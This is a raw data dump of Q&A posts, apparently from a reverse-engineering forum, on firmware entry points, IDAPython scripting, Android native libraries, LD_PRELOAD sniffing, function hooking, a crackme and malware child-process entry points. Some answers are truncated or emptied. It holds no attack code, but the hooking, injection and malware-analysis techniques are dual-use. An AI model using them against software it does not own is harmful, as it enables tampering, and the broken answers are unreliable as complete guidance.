    If I try to jump to the entry point address (0xff810000 from readelf) I get an JumpAsk fail. How do I find my start point so I can start reading the disassembled ARM assembly code?

    \n", "Title": "Reverse Engineer STM32L151's Firmware", "Tags": "|ida|firmware|entry-point|", "Answer": "

    Get 4 bytes data from address 0x08000004 (at 0x08000000 is stack pointer address), there should be address to your reset handler. Even if internal bootloader will start, at the end it jumps to reset handler at that address.

    \n" }, { "Id": "13020", "CreationDate": "2016-07-11T16:59:05.480", "Body": "

    I'm trying to see if the disassembly has two strings possibly within it. My string search algorithm starts from the first instruction MinEA() to the last MaxEA() and uses idc.FindText(.....,\"Bob\") to see if the string \"Bob\" for example is located. However, I'm trying to see if either \"Bob\" or \"Alice\" are in the disassembly. I could just loop from the beginning to the end twice using idc.FindText but that takes too much time. Is there a way I can loop through the disassembly only once and check if either of the strings are used? Thanks for any help.

    \n", "Title": "Check for multiple strings in IDAPython", "Tags": "|ida|idapython|idapro-sdk|", "Answer": "

    You could use regular expression:

    \n\n
    idc.FindText(ea, idc.SEARCH_REGEX | idc.SEARCH_DOWN, y, x, \"Bob|Alice\")\n#                ^^^^^^^^^^^^^^^^                              ^\n
    \n\n

    IDA Pro uses POSIX ERE syntax as described in https://www.hex-rays.com/products/ida/support/idadoc/578.shtml.

    \n" }, { "Id": "13025", "CreationDate": "2016-07-12T16:00:40.650", "Body": "

    I have been sorting through disassembled code for a couple of days and I have a few questions.

    \n\n

    Note: This is my first reverse engineering side project and I apologize if these are rather newbie questions...

    \n\n

    1) I wrote a simple program that blinks an LED on a STM32F4 board (this is not the board I am rev eng), compiled the code, and looked at the hex file in IDA. When in hex view, I saw some clear text like so:

    \n\n
    ..Q..<...8pG../s\nystem/src/stm32f\n4-hal/stm32f4xx_\nhal_cortex.c....\n../system/src/st\nm32f4-hal/stm32f\n4xx_hal_gpio.c..\n................\n../system/src/st\nm32f4-hal/stm32f\n
    \n\n

    When I look at my disassembled binary from the STM32L151 board in IDA's hex view, I do not seen any trace of readable characters. Does this mean the firmware was obfuscated (the programmed board sells for $60 so I wouldn't be surprised if it is)?

    \n\n

    2) IDA cannot recognize an entry point, so I am sifting though the disassembled file looking for anything interesting (like functions). I have programmed in assembly before, but the first line of the firmware does not make any sense to me. It consists of consecutive STR operations... what is it storing? It pretty much did the same operation 50 times!? Additionally, it has the EQ condition but I don't see what it's comparing. The starting code that I linked is not unique to the board, the STM32F4 hex file started in a similar fashion.

    \n\n

    3) When I am looking over the disassembled firmware in \"IDA View-A\", I am hitting the down arrow follow by the \"C\" key to see the assembly code but some of the code stays as a DCB operation. Why is that? Example here.

    \n\n

    4) Are there any guides dedicated to finding an entry point? I am getting overwhelmed by the sheer amount of assembly code.

    \n", "Title": "Understanding STM32L151's disassembled firmware", "Tags": "|arm|", "Answer": "

    You have two main issues here:

    \n\n

    1) the start of the firmware is data (Interrupt Vector Table), not code
    \n2) Cortex-M uses Thumb mode instructions and not classical ARM.

    \n\n

    Normally when you load an ARM binary file into IDA, you get this message:

    \n\n
    ---------------------------\nInformation\n---------------------------\n ARM AND THUMB MODE SWITCH INSTRUCTIONS\n\n This processor has two instruction encodings: ARM and THUMB.\n IDA allows to specify the encoding mode for every single instruction.\n For this IDA uses a virtual register T. If its value is zero, then\n the ARM mode is used, otherwise the THUMB mode is used.\n You can change the value of the register T using\n the 'change segment register value' command\n (the canonical hotkey is Alt-G)\n\n---------------------------\nOK   \n---------------------------\n
    \n\n

    In your case the whole file is Thumb, so you can just set T to 1 at the top. Then you need to follow the second dword (the reset vector) to find the initial entrypoint. Ideally you should get something like:

    \n\n
    ROM:00000000   DCD 0x200002F8\nROM:00000004   DCD _reset+1\n\n ROM:00001480 _reset                      \nROM:00001480    BIC.W   R1, SP, #7\nROM:00001484    MOV     R0, SP\nROM:00001486    MOV     SP, R1\nROM:00001488    PUSH    {R0,LR}\nROM:0000148A    MOVS    R2, #0\nROM:0000148C    LDR     R1, =0x20000000\nROM:0000148E    LDR.W   R12, =0x20000000\nROM:00001492    LDR     R0, =0x2440\nROM:00001494    B       loc_149C\nROM:00001496 ----------------------------\nROM:00001496    LDR     R3, [R0,R2]\nROM:00001498    STR     R3, [R1,R2]\nROM:0000149A    ADDS    R2, #4\nROM:0000149C\nROM:0000149C    ADD.W   R3, R1, R2\nROM:000014A0    CMP     R3, R12\nROM:000014A2    BCC     loc_1496\nROM:000014A4    LDR     R3, =0x20000000\nROM:000014A6    LDR     R1, =0x200001F8\nROM:000014A8    MOVS    R2, #0\nROM:000014AA    B       loc_14B0\nROM:000014AC ----------------------------\nROM:000014AC\nROM:000014AC    STR.W   R2, [R3],#4\nROM:000014B0\nROM:000014B0    CMP     R3, R1\nROM:000014B2    BCC     loc_14AC\nROM:000014B4    BL      sub_244\nROM:000014B4 ; End of function _reset\n
    \n" }, { "Id": "13037", "CreationDate": "2016-07-14T19:23:38.107", "Body": "

    I have been tracing through my binary and converting it to C code so I can understand it easily. As I am going through the instructions and functions, I keep stumbling upon code that don't make sense. \nFor example:

    \n\n
    ROM:080004B8                 CMNNE.W         R4, #1\nROM:080004BC                 BEQ.W           loc_80007DE\n
    \n\n

    This code will never branch.\nAnother example:

    \n\n
    STRB.W          R0, [SP,#0x18+var_18] @ where var_18 is -0x18\n
    \n\n

    Which is similar to indexing an array in C like this \"array[5-5]\". Why is this happening? Is this the disassembler? A form of obfuscated code that is trying to frustrate me? A poor compiler?

    \n", "Title": "Nonsensical disassembled ARM instructions", "Tags": "|ida|arm|", "Answer": "

    To expand on Rad Lexus' comment, which describes the situation very well but may not be understandable without an example:

    \n\n

    Within a function, the stack pointer, in most cases, isn't constant. It may change when parameters for a function/method/subroutine are pushed, when the programmer uses things like alloca, and for other reasons as well, depending on the compiler and processor.

    \n\n

    This makes tracking the position of arguments and local variables quite hard. For example, code like f(i++) may result in something like

    \n\n
    mov r0, [sp, #8]     ; read the variable\nmov [sp], r0          ; put it on the argument stack\nsub sp, sp, #4        ; adjust the stack pointer\nadd r0, r0, #1        ; calculate the ++\nmov [sp, #12], r0    ; write back result\n
    \n\n

    which is a version that makes the change to sp visible; normally, that change will be hidden in something like stmfd sp!, {r0}

    \n\n

    In such cases, it's quite difficult to see that the \"read\" and \"write\" operations access the same address in memory while the sp value has changed.

    \n\n

    This is why decompilers like IDA assign names to those locations - as an example, let's assume in my example the variable is named var_4 with a value of 4.

    \n\n

    Now IDA can emit

    \n\n
    mov r0, [sp, var_4+#4]     ; read the variable\nmov [sp, var_4+#8], r0     ; write back result\n
    \n\n

    with var_4 hinting at \"the same variable\", and the #4/#8 at the offset from [sp] that needs to be added to var_4 in each of these cases.

    \n" }, { "Id": "13047", "CreationDate": "2016-07-16T14:46:23.363", "Body": "

    I've start reversing some android application. I have a little experience in this subject, but i got stuck on a little matter.

    \n\n

    The app i'm trying to reverse uses JNI (java native interface), meaning some of the code is not java - it is assembly.. To my knowing, the native code should be somewhere in the classes.dex file too (together with the dalvik bytecode).

    \n\n

    My problem is that the tool i'm using that knows to convert the dex file into a java code (dex2jar) doesn't seem to know how to handle the native code inside the classes.dex file. So my questions are: Is there any tool that knows to do this conversion? If not, does someone have general knowledge about the whereabouts of native code in dex files (if it is there)?

    \n", "Title": "reversing apk - getting native code in classes.dex", "Tags": "|android|apk|", "Answer": "

    No, native code isn't in classes.dex. If an android apk file has native code, the apk itself, when unzipping, should have a lib subdirectory, which may have architecture-dependent subdirectories armeabi. armeabi-v7a. x86 and possibly others, and those will contain the native code objects. Sometimes, shared objects may be in other directories as well, especially if they belong to some libraries the application linked in.

    \n\n

    For example, i unzipped the apk of one application that i know to have native code:

    \n\n
    $ unzip -l net.skoobe.reader-1.apk\n[ stuff omitted ]    \n     2291  2016-03-14 10:27   NDK_LICENSES\n    18549  2016-03-14 10:27   assets/www/error.js\n   345568  2016-03-14 10:27   assets/armeabi/lib64libcrittercism-v3.so\n   308716  2016-03-14 10:27   assets/armeabi-v7a/lib64libcrittercism-v3.so\n   345696  2016-03-14 10:27   assets/arm64-v8a/lib64libcrittercism-v3.so\n     5088  2016-03-14 10:25   lib/armeabi/librsjni.so\n  2890256  2016-03-14 10:26   lib/armeabi/libskoobe.so\n     5088  2016-03-14 10:25   lib/armeabi/libRSSupport.so\n  2792064  2016-03-14 10:26   lib/armeabi-v7a/libskoobe.so\n  4555592  2016-03-14 10:26   lib/x86/libskoobe.so\n    18560  2015-03-26 19:09   lib/armeabi-v7a/librsjni.so\n   420320  2015-03-26 19:09   lib/armeabi-v7a/libRSSupport.so\n    26636  2015-03-26 19:09   lib/x86/librsjni.so\n   518512  2015-03-26 19:09   lib/x86/libRSSupport.so\n   159719  2016-03-14 10:27   META-INF/MANIFEST.MF\n[ more stuff omitted ]    \n
    \n" }, { "Id": "13050", "CreationDate": "2016-07-16T15:39:21.637", "Body": "

    I have an an embedded Linux ARM board, where an application opens the /dev/spidev1.0 device and constantly talks through with another MCU.\nNow, if I I try to look at what exchanges (that's what I'd need), doing\na hexdump /dev/spidev1.0 shows something in the beginning but causes the application to crash. The app is very sensitive and I think it crashes because the app uses and it can't be used for viewing simultaneously.

    \n\n

    Would there be a way to create an alias, or something like a mirror of this device if I write some extra code/driver? Or is there no chance for me to sniff the traffic like that (in software) ?

    \n\n

    Rewrote:

    \n\n
    int ioctl(int fd, unsigned long request, struct spi_ioc_transfer *xfer)\n
    \n\n

    But, gcc output the following error:

    \n\n
    myioctl.c:6:5: error: conflicting types for \u2018ioctl\u2019 In file included from myioctl.c:1:0: /usr/lib/gcc-cross/arm-linux-gnueabi/4.7/../../../../arm-linux-gnueabi/include/s\u200c\u200bys/ioctl.h:41:12: note: previous declaration of \u2018ioctl\u2019 was here\n
    \n\n

    Any help how the original definition:

    \n\n
    /* Perform the I/O control operation specified by REQUEST on FD.\n   One argument may follow; its presence and type depend on REQUEST.\n   Return value depends on REQUEST.  Usually -1 indicates error.  */\n\nextern int ioctl (int __fd, unsigned long int __request, ...) __THROW;\n
    \n\n

    could be overridden.

    \n", "Title": "SPI device sniffing/mirror feature", "Tags": "|spi|", "Answer": "

    If this Linux distribution does support LD_PRELOAD you can easily use this feature to override opening/closing/reading/writing/ioctl-ing functions to this specific device.\nSee here for very basic tutorial: http://www.catonmat.net/blog/simple-ld-preload-tutorial/

    \n\n

    This will not require writing driver and pretty usable approach.\nIN addition you can try to use strace utility to trace all IO system calls which will obviously include the accesses to your device.

    \n" }, { "Id": "13058", "CreationDate": "2016-07-17T12:51:36.963", "Body": "

    I've been studying about clienthooks and made a simple program to be manipulated with dll injection

    \n\n
    #include \"stdafx.h\"\n\ntypedef char greet_t[16];\ngreet_t greetings[] = {\n    \"Hello\",\n    \"Hi\",\n    \"Ahoy\",\n    \"Alas\",\n    \"Hallo\",\n    \"Ola\"\n};\n\nint greeter(char *name) {\n    printf_s(\"%s, %s!\\n\", greetings[rand() % ((int) sizeof(greetings) / (int) sizeof(greet_t))], name);\n    int rerun = strcmp(\"Gabriel\", name);\n    if (!rerun) printf_s(\"Have a nice day!\\n\");\n    return rerun;\n}\n\n\nint main() {\n    char name[64];\n    do {\n        scanf_s(\"%s\", name);\n    } while (greeter(name));\n\n\n    system(\"Pause\");\n    return 0;\n}\n
    \n\n

    The idea is to detour the greeter function, except I can't find it's offset. Looking at it with IDA Pro it looks as if the function logic was thrown in the middle of the code as if there was no function call at all.

    \n\n
    .text:004010B0                 lea     eax, [ebp+var_44]\n.text:004010B3                 push    eax\n.text:004010B4                 push    offset aS       ; \"%s\" (outside greeter())\n.text:004010B9                 call    sub_401050      ; calling scanf_s\n.text:004010BE                 add     esp, 8\n.text:004010C1                 lea     eax, [ebp+var_44]\n.text:004010C4                 push    eax\n.text:004010C5                 call    esi ; rand\n.text:004010C7                 cdq\n.text:004010C8                 idiv    edi\n.text:004010CA                 shl     edx, 4\n.text:004010CD                 add     edx, offset aHello ; \"Hello\"\n.text:004010D3                 push    edx\n.text:004010D4                 push    offset aSS      ; \"%s, %s!\\n\" (inside greeter())\n.text:004010D9                 call    sub_401020      ; calling printf_s\n
    \n\n

    Reading the strings window, it says that all these strings are referenced on sub_401090, but this offset doesn't seem to be the one I'm looking for. What am I doing/reading wrong?

    \n", "Title": "Problem finding correct offset in simple program with IDA Pro", "Tags": "|ida|function-hooking|", "Answer": "

    It seems like your compiler has a function inlining optimization enabled. This means the code of a called function replaces the function call in the calling function, increasing the speed a bit as stack juggling and the call/ret instructions can be omitted.

    \n\n

    If you're compiling with gcc, use the -O0 or the -fno-inline compiler flags (more details here, search for inline); for other compilers, consult the respective manual.

    \n" }, { "Id": "13061", "CreationDate": "2016-07-17T15:28:31.937", "Body": "

    For example we have assembler variable \"foo\" defined as:

    \n\n
    .text:00001078 foo      DCD 0xffffffff, 0xffffeeee\n
    \n\n

    How it(variable foo) would look like in c++(or whatever higher lang)???

    \n", "Title": "Reversing assembler DCD directive list into a c++ variable", "Tags": "|disassembly|assembly|c++|hexrays|", "Answer": "

    Many possibilities.

    \n\n

    long long foo=0xffffffffffffeeee (assuming big endian mode)

    \n\n

    long long foo=0xffffeeeeffffffff (assuming big endian mode)

    \n\n

    int foo[2]={-1, -4370}

    \n\n

    short foo[4]={-1, -1, -1, -4370}

    \n\n

    char foo[16]=\"\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xee\\xee\\xee\\xee\"

    \n\n

    struct { int a, short b, short c } foo = { -1, -1, -4370 } (and variations depending on endianness)

    \n\n

    You really can't determine the original type of initalized data without looking at the code that uses it.

    \n" }, { "Id": "13074", "CreationDate": "2016-07-18T12:37:25.893", "Body": "

    I have been trying to reverse engineer .so file in android application.I used objdump from android ndk to look at the assembly of the file.I do not have a problem with assembly but analyzing the file statically is just so tedious.I am looking for a method to actually run the application on my phone and set break points and see how the registers and the stack are updated.

    \n", "Title": "Debug android shared library interactivly", "Tags": "|android|", "Answer": "

    If you can afford the paid version of IDA Pro, this is very easy:

    \n\n\n" }, { "Id": "13075", "CreationDate": "2016-07-18T13:55:18.867", "Body": "

    Function \"Bob\" calls function \"Janice\". Currently, I'm at an address in function \"Janice\" and can easily do idc.GetFunctionName(ea) to get the name Janice. However, I also want to get the caller function Bob's name. How would I go about doing this efficiently considering I'm currently within function Janice? Thanks.

    \n", "Title": "Finding function name of caller function", "Tags": "|ida|idapython|", "Answer": "

    Generally speaking this question as it asked is a bit ambiguous.\nThe answer can be divided by 2 general parts, getting a caller in the debug session and determining the potential caller list during static analysis.

    \n\n

    Getting a potential caller list during static analysis

    \n\n

    As @blabb wrote in most cases it is possible and can be done with IDA scripting capabilities.

    \n\n

    Here is IDAPython example which will print all references to the callee (which is equivalent to press x on the callee name in IDA) assuming that your cursor is within the \"Janice\" function:

    \n\n
        import idautils\n    import idc\n    print \"Code references\"\n    for ref in idautils.CodeRefsTo(idc.GetFunctionAttr(idc.ScreenEA(), idc.FUNCATTR_START), 1):\n           print ref\n    print \"Data references\"\n    for ref in idautils.DataRefsTo(idc.GetFunctionAttr(idc.ScreenEA(), idc.FUNCATTR_START)):\n           print ref\n
    \n\n

    Of course demangling should be applied to get a more human-readable name as @blabb wrote if needed.

    \n\n

    It should be taken in account that this script (exactly as the pressing x on the callee) does not solve the indirect call issue, but shows all references to the function which may help to trace the indirect call.

    \n\n

    Getting a specific caller during a debug session

    \n\n

    This is a bit trickier and much more architecture dependent (for example in ARM you have LR register with return address which will help you in most cases if you stopped at the start of \"Janice\" function and it is not contaminated yet), you'll need to

    \n\n\n\n

    The script which will do it is a bit more complex and unfortunately I have no time to debug it for now, \nso I'll just list the IDAPython APIs which will probably help you to solve the problem:

    \n\n
    idaapi.get_func(ea) # get the function object of func_t type\nidaapi.get_frame(pfn) #gets the function frame structure of struc_t type\nidaapi.frame_off_retaddr(pfn) # AFAIK gets the offset of return address of the structure\n
    \n" }, { "Id": "13076", "CreationDate": "2016-07-18T16:21:39.327", "Body": "

    I used a script python from radare2-bindings to write a code analysing a binary file, i extracted the name , the start address and the size of each function , but i can't dump the hexa of each function , i am asking if there is a methode or python script in radare2 or another tool (capstone , miasm , angr ...) to solve this problem .

    \n\n

    the script is :

    \n\n
        import sys\n    import sqlite3 as lite\n    try:\n        import os, signal\n        from r_core import *\n    except:\n        from r2.r_core import *\n\n    rc = RCore()\n    rc.file_open(\"/home/younes/Bureau/a.out\", 0, 0)\n    rc.bin_load(\"\", 0)\n\n    rc.anal_all()\n    funcs = rc.anal.get_fcns()\n    for f in funcs:\n        blocks = f.get_bbs()\n        print(\"+\" + (72 * \"-\"))\n        print(\"| FUNCTION: %s @ 0x%x\" % (f.name, f.addr))\n        print(\"| (%d blocks)\" % (len (blocks)))\n        print(\"+\" + (72 * \"-\"))\n        funcSize=0\n        for b in blocks:\n            end_byte = b.addr + b.size\n            cur_byte = b.addr\n            funcSize+=b.size\n\n        print(\"   | f.size:      0x%x\" %(funcSize))\n\n    os.kill (os.getpid (), signal.SIGTERM) \n
    \n", "Title": "How to DUMP the full hexa of each function extracted by analysis of binary file?", "Tags": "|python|radare2|capstone|", "Answer": "

    Already resolved on github repository: https://github.com/radare/radare2-bindings/issues/130#issuecomment-233662221

    \n\n\n\n
    import r2pipe\nimport sys\n\nr2 = r2pipe.open(sys.argv[1])\nr2.cmdj(\"aaa\") # http://radare.today/posts/analysis-by-default/\nfunction_list = r2.cmdj(\"aflj\") # Analysis Function List Json\n\nfor function in function_list:\n    print r2.cmdj(\"p8j\" + str(function[\"size\"])+ \" @ \" + function[\"name\"] ) # 8bit hexpair Json\n
    \n" }, { "Id": "13100", "CreationDate": "2016-07-20T15:29:55.710", "Body": "

    I'm trying to write some scripts that do some string searching through the disassembly in IDA. Currently, I loop through all the disassembly, MinEA() to MaxEA() and use idc.FindText() to see if a potential string is in the disassembly. Although this works, its very time consuming. I was wondering if there was a way I could just use an API method to get all the strings in IDAs string window. For example, I was able to get all the imports used in the import window by using idaapi.get_import_module_qty() and idaapi.enum_import_names(i, import_call_back). That's very fast and I can easily just check if something has been imported. Is there something similar that will allow me to get all the strings from the strings window? If not, is there a less time-consuming method of string searching that is possible? Thanks for any input.

    \n", "Title": "How to get the list of strings within IDA's string window in my script?", "Tags": "|ida|idapython|", "Answer": "

    I found a crude yet completely different solution without having to mess with Python 2.7 . All with IDA GUI and with the help of side Regex

    \n
      \n
    1. Open desired file in IDA, let it load
      2. \n
    2. View -> Open subviews -> Strings
      3. \n
    3. Ctrl+A -> Right-Click -> Copy
      4. \n
    4. Paste data to some regex-supporting text editor (I use Notepad++)
      5. \n
    5. Go to find&replace with regex (On Notepad++: Replace, search mode "Regular expression" with ". matches newline" UNticked):
      6. \n
    \n\n

    Warning: if you have a different count of characters before the strings text begins, replace the number with yours!

    \n
      \n
    1. Finally, remove the first newline and your data is ready for work
      2. \n
    \n" }, { "Id": "13101", "CreationDate": "2016-07-20T19:47:33.777", "Body": "

    I'm using IDA Pro 6.9 with some PowerPC disassembly. The code sets up r13 to a value, say 0x10000, then offsets that register to load and store memory in that region. r13 is never modified again in the code, it is only used for loading/storing data by offsetting.

    \n\n
    e_stb     r7, -0x56E2(r13)\n
    \n\n

    I'm hoping there is a way to tell IDA the value of r13 so that it will automatically generate a reference to the correct memory location so that I get something like:

    \n\n
    e_stb     r7, -0x56E2(r13) # Named_Location\n
    \n\n

    As well as the value at that location when I hover with the mouse.

    \n\n

    Update:
    \nIgor Skochinsky gave what is the correct answer but didn't fix my specific problem.

    \n\n

    The answer seems to have worked anywhere r13 is used in an add instruction, e_add16i r31, r13, -0x2DF2 # unk_4000ADE2 but is not working for direct relative load/store instructions, e_stb r3, -0x2E08(r13) (no variable name, offset in red).

    \n\n

    This might be a bug in IDA.

    \n", "Title": "Set register to specific value for use in autoanalysis in IDA Pro 6.9", "Tags": "|ida|register|pointer|powerpc|", "Answer": "

    Just set it in processor options.

    \n\n

    \"enter

    \n" }, { "Id": "13108", "CreationDate": "2016-07-21T12:18:15.743", "Body": "

    OK...I have a file which, upon execution, runs a copy of itself as a child process, with, obviously, different behaviors. Since this (obviously) means that OllyDBG isn't going to be able to see what the child process is doing (I can attach to the child process, but I'll still miss everything between process creation and the time I debug), I need a way to start the initial executable, such that it exhibits the behaviors of the child process. I ASSume that in order to get different behavior, the child process is being started with a different entry point than the parent process. I've found the call to CreateProcessA, and I can see the options being pushed, but am not certain which, if any, of these options could be used to set a new/different entry point.

    \n\n

    A) Am I going about this all wrong? Is there some other way that the child process is exhibiting different behaviors from the parent?

    \n\n

    B) If I'm not going about it all wrong, can someone help me out with finding where exactly I should set the entry point to run the process as though it was launched by the parent process?

    \n\n

    Thanks, in advance.

    \n\n

    Edit:\nI know about the \"debug child process\" option in OllyDbg2, but for whatever reason, it isn't working. When the child process is created, it just runs on its own, with no new debug window opening.

    \n", "Title": "Entry point of malicious child process", "Tags": "|ollydbg|debugging|malware|", "Answer": "
    \n

    I ASSume that in order to get different behavior, the child process is\n being started with a different entry point than the parent process.

    \n
    \n\n

    Not necessarily. Armadillo's parent-child-debugging scheme had the child process start with the same entrypoint as the parent process.

    \n\n

    However, these days we more commonly see \"process hollowing\" / \"dynamic forking\", where the entrypoints are indeed different. You can see Dump a child process created by malware with an ALTERNATIVE process hollowing process for details on how to find the child process's entrypoint.

    \n" }, { "Id": "13110", "CreationDate": "2016-07-21T15:27:28.367", "Body": "

    I wrote a simple program on my STM32F4 Disco MCU which only turns a LED on, and I am trying to RE my compiled binary. After decompiling the binary, I started my analysis at the first instruction set and treated it like a main function because it calls the other subroutines in the program. These subroutines are comparing, adding, subtracting, ... memory from addresses in the Flash, SRAM, or RAM. Example:

    \n\n
    LDR             R1, =0x80003EC  // r1 = 0x80003EC\nLDR             R2, [R1]        // r2 = 0x80003EC\nLDR             R3, [R1,#4]     // r3 = 0x80003F0\nADD.W           R4, R1, #0xC    // r4 = *(0x8000404) + 12\nLDR             R0, [R1,#8]     // r0 = 0x80003F4\n
    \n\n

    In the example above, the content of R1 (memory address 0x80003EC) is getting 12 added to it and stored in R4 but I have no idea what value resides in that memory address (0x80003EC)! The program continues to use the mysterious value stored at 0x80003EC. Example:

    \n\n
    LSR             R0, R1     // r0 << r1\n
    \n\n

    The cycle of referencing unknown numbers keeps continuing. Without knowing the original value, there is no way to figure out the logic flow. All I see is mathematical operations to unknown numbers and flow control that is determined from the operations.

    \n\n

    How can a program like this be reverse engineered? \nIs there a way to view the original values of memory?

    \n", "Title": "Understanding memory locations", "Tags": "|arm|", "Answer": "

    Most likely, your program is intended to be loaded at 0x80000000, has a size of more than 1004 bytes (0x3EC = 1004 decimal), and the values at that location are intended to be initialized from the data section of your program when your program starts.

    \n\n

    Also, there could be some hardware at that specific address but that's unlikely seeing how those addresses seem to contain pointers.

    \n\n

    A third possibility is that your OS, whichever you're using, puts some global information at those locations when it loads your program.

    \n\n

    To know which of those possibilities is correct we'd need more information about your hard- and software, but i strongly tend to the first possibility.

    \n" }, { "Id": "13120", "CreationDate": "2016-07-22T18:01:38.290", "Body": "

    Is there any way to change the calling convention programmatically?\nI found some C++ code in this repo but wasn't able to successfully update it to 6.8.

    \n\n
    static bool idaapi convert_to_usercall(void *ud)\n{\n    vdui_t &vu = *(vdui_t *)ud;\n    if (!vu.cfunc)\n        return false;\n    if ( vu.cfunc->entry_ea == BADADDR )\n        return false;\n    tinfo_t type;\n    qtype fields;       \n    if (!vu.cfunc->get_func_type(type, fields))\n        return false;\n    func_type_info_t fti;\n    int a = build_funcarg_info(idati, type.c_str(), fields.c_str(), &fti, 0);\n    if (!convert_cc_to_special(fti))\n        return false;\n    fields.clear();\n    type.clear();\n    build_func_type(&type, &fields, fti);\n    if ( !apply_tinfo(idati, vu.cfunc->entry_ea, type.c_str(), fields.c_str(), 1) )\n        return false;\n    vu.refresh_view(true);\n    return true;\n}\n
    \n\n

    The code seems to use apis that are now deprecated or changed up. Does anybody know a way to fix up this code or some other approach.

    \n\n

    Any help would be appreciated, whether it is C++ or Python.

    \n", "Title": "IDA 6.8 SDK change calling convention", "Tags": "|ida|idapython|idapro-sdk|", "Answer": "

    Ok, I found a solution in Python and it should work the same in C++. For anyone interested, here's the code. It changes the calling convention from __usercall to __fastcall:

    \n\n
    old_func_type = idaapi.tinfo_t()\ncfunc.get_func_type(old_func_type)\n\nfi = idaapi.func_type_data_t()\nif old_func_type.get_func_details(fi):\n    if (fi.cc == idaapi.CM_CC_SPECIAL) or (fi.cc == idaapi.CM_CC_SPECIALE) or (fi.cc == idaapi.CM_CC_SPECIALP):\n        fi.cc = idaapi.CM_CC_FASTCALL\n\n        new_func_type = idaapi.tinfo_t()\n        new_func_type.create_func(fi)\n\n        idaapi.apply_tinfo2(ea, new_func_type, idaapi.TINFO_DEFINITE)\n
    \n" }, { "Id": "13126", "CreationDate": "2016-07-24T11:42:35.277", "Body": "

    I've never did something like this before, but I have programming experiences. There are two files:\ndata00.big and data01.big, which I would like to extract.

    \n\n

    I've tried Dragon Unpacker, which can unpack .big files. But it seems, that they aren't valid .big files, just some kind of custom archive, which is named .big, so it seems, I have to write my own unpacker.

    \n\n

    The archive was created in 1999. As far as I know, it contains mostly graphic and sound files.

    \n\n

    data00.big opened in hexeditor:

    \n\n

    \"hex\"

    \n", "Title": "What are the steps, to extract an unknown archive file in this case?", "Tags": "|decompilation|unpacking|file-format|", "Answer": "

    I see filenames. That is an extremely important starting point - if I did not, I'd have to assume the file is encrypted, compressed, or does not use filenames at all, which are all harder to unpack.

    \n\n

    For the moment, skip the header \"BigFile\" and the immedtaly following data and concentrate on these filenames alone.

    \n\n

    If the filenames have different lengths, you can verify if these are records of a fixed length (where the filenames are padded), or have different lengths, in which case there may be a \"length\" value - or not. A length value may not be necessary, the file names can be terminated by a special value such as 0.

    \n\n

    There are other values too - usually, in an archive format, these are file lengths. There can also be a file offset - but from where? (E,g., start of file, start of archive data excluding the header, start of actual data, and so on.) A per-file offset is not required if all files appear end to end, then the lengths are enough.

    \n\n

    There may be additional information per file record; I have encountered flags, file type codes, date/time stamps, checksums, and more. Usually, after you found out what the most important bits mean, the remaining data makes sense as well.

    \n\n

    To find out what byte means what, write a small program to print out each file name and all of its associated data, up to the next file entry. Don't bother with trying to get a correct 'file count' yet. Most likely this is one of the numbers in the header at the start; you can go back to that when you got the file list details right. For starters, just write out the data of the first few dozen of entries.

    \n\n

    Keep in mind that you cannot tell right away if extra data comes before or after the file name! Or even both.

    \n\n

    File sizes and offsets are usually 4 byte numbers; the endianness can be trivially checked (all small numbers are good, all conspicuously large must be an error). Similar but varying numbers may be file sizes. A number that keeps increasing must be an absolute file offset. Numbers that always contain data in some binary positions and none in others can be flags of some kind. Large values, hovering around similar values, can very well be a time stamp. Finally, random looking full 4 byte numbers might be a checksum.

    \n\n

    If you get consistent good results in decoding the data for the test set of file records, find the start and end of the list by trial and error. It's here that you may discover that the \"end\" of a record is actually the start of the next one.

    \n\n

    This will tell you (1) the number of records, and (2) the start of the record data. You can inspect if these numbers appear in the \"BigFile\" header - particularly the number of records would be useful.

    \n\n

    If you can locate numbers that \"look\" like they could be file lengths and (optionally) offsets, you can write a test program to extract a single file. This may also help with determining the order of data; if you extract a file that is clearly a PNG image but its associated filename is \"config.txt\", you have something in the wrong order.

    \n\n

    An alternative to the above is focussing on the data first. Some file types, such as PNG images, should be entirely self containing: if you find the start of a PNG image, you can immediately extract it in its entirety by looking for the tell-tale IEND marker. Then you have a reliable file length and so you can search for a match in the file record set.

    \n" }, { "Id": "13133", "CreationDate": "2016-07-25T03:45:02.290", "Body": "

    I'm doing a crackme to learn some reversing, and I stumbled upon this code generated by C++ MFC:

    \n\n
    sbb eax, eax\nsbb eax, -1\ntest eax, eax\njz exit\n
    \n\n

    Before that code a comparison is done, such as cmp al, bl where al and bl hold some value read from the serial

    \n\n

    The thing that confused me, is I figured that the cmp and two sbb instructions are equivalent to this pseudocode:

    \n\n
    cmp a,b\neax=-1 if b>a\neax=1 otherwise\n
    \n\n

    However this confused me because eax can never be 0, so the zero flag will always be set. Therefore, I figure the chunk of code

    \n\n
    test eax, eax\njz exit\n
    \n\n

    is useless because it does nothing- but how can this be? I don't think their C++ compiler would generate useless code like that

    \n\n

    Where am I wrong here?

    \n", "Title": "What are the results of this sbb instruction?", "Tags": "|x86|crackme|", "Answer": "

    are you sure it was compiler generated ?
    \nmay be it was hand crafted or deliberately coded like wise \nmay be it checks the sign flag further down in the jz path \nmay be red herring ?

    \n\n

    well whatever it requires more info \nbased on the info provided only thing that pops up is a check for sign flag further down the path

    \n\n

    here is a small compilable c code that shows what flags and results are for the operations in the query

    \n\n
    #include <stdio.h>\nint helper (unsigned char a , unsigned char b )\n{\n    unsigned char res = 0;\n    unsigned char flag = 0;\n    __asm\n    {\n        xor eax,eax\n        xor ecx,ecx\n        mov al,a        ;          = 0  1  2  3  4  5  6  7\n        mov cl,b        ;          = 4  4  4  4  4  4  4  4\n        cmp al,cl       ;cf        = 1  1  1  1  0  0  0  0\n        sbb eax,eax     ;x-x-cf    =-1 -1 -1 -1  0  0  0  0\n        sbb eax,-1      ;x-(-1)-cf =-1 -1 -1 -1  1  1  1  1\n        mov res,al      ;          = ---------\"\"-----------\n        pushfd\n        xor eax,eax\n        mov eax,dword ptr ss:[esp]\n        popfd\n        lahf\n        mov flag , al\n    }\n    bool zf = ((flag & 64)==64);\n    bool sf = ((flag & 128)==128);\n    bool cf = ((flag & 1)==1);\n    printf(\"%2x %2x %2x %2x %2x %2x\\n\" ,a,b,res,zf,sf,cf);\n}\nint main (void)\n{\n    printf(\" a  b  r  z  s  c\\n\");\n    for (unsigned char i = 0; i < 8 ;i++){\n        helper(i,4);\n    }\n    return 0;\n}\n
    \n\n

    result

    \n\n
